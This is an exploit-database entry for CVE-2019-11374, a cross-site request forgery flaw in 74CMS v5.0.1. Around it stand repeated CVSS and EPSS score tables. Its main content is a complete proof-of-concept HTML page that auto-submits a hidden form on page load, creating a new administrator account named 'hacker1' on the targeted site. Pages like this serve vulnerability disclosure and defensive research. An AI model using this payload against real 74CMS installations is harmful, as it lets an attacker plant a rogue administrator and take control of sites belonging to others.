Ax8EDB-ID:4673874CMS 5.0.1 - Cross-Site Request Forgery (Add New Admin User)
6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
9 High
AI Score
Confidence
High
0.006 Low
EPSS
Percentile
77.9%
# Exploit Title: 74CMS v5.0.1 has a CSRF vulnerability to add a new admin user
# Date: 2019-04-14
# Exploit Author: ax8
# Vendor Homepage: https://github.com/Li-Siyuan
# Software Link: http://www.74cms.com/download/index.html
# Version: v5.0.1
# CVE : CVE-2019-11374
74CMS v5.0.1 has a CSRF vulnerability to add a new admin user via the index.php?m=Admin&c=admin&a=add URI.
<!--poc.html(creat a administrater)-->
<!DOCTYPE html>
<html>
<head>
<title> CSRF Proof</title>
<script type="text/javascript">
function exec1(){
document.getElementById('form1').submit();
}
</script>
</head>
<body onload="exec1();">
<form id="form1" action="http://localhost/index.php?m=Admin&c=admin&a=add" method="POST">
<input type="hidden" name="username" value="hacker1" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="password" value="hacker1" />
<input type="hidden" name="repassword" value="hacker1" />
<input type="hidden" name="role_id" value="1" />
</form>
</body>
</html>Related
6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
9 High
AI Score
Confidence
High
0.006 Low
EPSS
Percentile
77.9%